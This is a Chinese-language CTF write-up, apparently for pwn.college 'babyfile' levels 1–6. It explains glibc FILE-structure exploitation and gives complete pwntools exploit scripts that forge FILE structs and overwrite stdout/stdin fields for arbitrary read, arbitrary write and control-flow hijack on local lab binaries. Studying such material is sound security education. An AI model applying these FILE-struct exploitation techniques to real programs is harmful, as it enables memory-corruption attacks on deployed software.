前言
Finally,花了五个月差不多把 pwn 学完了,至于剩下的内核什么的后期就当兴趣学了,应该不会变成我的主要研究方向,所以等学完这两章 FSOP 的内容我就去搞 IoT,也能想象明年开始将全力以赴打比赛,暗无天日的坐牢(
总之希望竞赛时期不要太长,最好能够一年退役,我可不想整个大学生活都在坐牢 LOL
Level 1
Information
- Category: Pwn
Description
Harness the power of FILE structs to arbitrarily read data.
Write-up
最简单的一集。 chall 把 flag 读到 bss 了,并且没开 PIE,还给了任意写 FILE 结构体的能力,直接用 pwntools 秒了。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level1"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
flag = 0x4040E0
fp = FileStructure() payload = flat(fp.write(flag, 0x64))
target.send(payload)
target.interactive()
if __name__ == "__main__": main()Level 2
Information
- Category: Pwn
Description
Harness the power of FILE structs to arbitrarily write data to bypass a security check.
Write-up
验证变量,构造任意读即可。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level2"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
authenticated = 0x4041F8
fp = FileStructure() payload = flat(fp.read(authenticated, 0x101))
target.success(fp)
target.send(payload) target.sendline(b"A" * 0xFF)
target.interactive()
if __name__ == "__main__": main()Level 3
Information
- Category: Pwn
Description
Harness the power of FILE structs to redirect data output.
Write-up
以后每题都那么简单就好了(
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level3"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
target.send(b"\x01")
target.interactive()
if __name__ == "__main__": main()Level 4
Information
- Category: Pwn
Description
Harness the power of FILE structs to arbitrarily read/write data to hijack control flow.
Write-up
越来越有趣了之,File Structure 的千层套路(
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level4"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
target.recvuntil(b"stored at: ") ret = int(target.recvline().strip(), 16)
fp = FileStructure() payload = flat(fp.read(ret, 0x101))
target.send(payload) target.send(flat(elf.sym["win"]).ljust(0x101, b"\x00"))
target.interactive()
if __name__ == "__main__": main()Level 5
Information
- Category: Pwn
Description
Abuse built-in FILE structs to leak sensitive information.
Write-up
能改 stdout 结构体,并且 puts 函数内部会使用 stdout 结构体中的指针来输出值,所以我们只要改掉 write 的几个指针,过一下检查,并且把 flag 设置为 0xfbad1800 就好了。
int_IO_puts (const char *str){ int result = EOF; size_t len = strlen (str); _IO_acquire_lock (stdout);
if ((_IO_vtable_offset (stdout) != 0 || _IO_fwide (stdout, -1) == -1) && _IO_sputn (stdout, str, len) == len && _IO_putc_unlocked ('\n', stdout) != EOF) result = MIN (INT_MAX, len + 1);
_IO_release_lock (stdout); return result;}
weak_alias (_IO_puts, puts)libc_hidden_def (_IO_puts)0x1000 代表追加到当前 fileno 后面,0x0800 代表正在执行写入操作。
#define _IO_CURRENTLY_PUTTING 0x0800#define _IO_IS_APPENDING 0x1000不过实际上我们也不用该那么多 write 指针,只要把最重要的 _IO_write_base 改掉就好了,剩下的使用残留值。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level5"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
flag = 0x4040C0
fp = FileStructure() fp.flags = 0xFBAD1800 fp._IO_write_base = flag fp._IO_write_ptr = flag + 0x64 fp._IO_write_end = flag + 0x64 payload = flat(fp.struntil("_IO_write_end"))
raw_input("DEBUG") target.send(payload)
target.interactive()
if __name__ == "__main__": main()Level 6
Information
- Category: Pwn
Description
Abuse built-in FILE structs to bypass a security check.
Write-up
上题是改 stdout 使 puts 任意写,这题是改 stdio 使用 scanf 任意读。
scanf 的话只要设置 _IO_NO_WRITES 标志并设置 _IO_buf_base 和 _IO_buf_end 就好了,和那几个 read 指针无关。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level6"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
authenticated = 0x4041F8
fp = FileStructure() fp.flags = 0xFBAD0008 fp._IO_buf_base = authenticated fp._IO_buf_end = authenticated + 0x8 payload = flat(fp.struntil("_IO_buf_end"))
raw_input("DEBUG") target.send(payload) target.sendlineafter(b"Please log in.", b"\x01")
target.interactive()
if __name__ == "__main__": main()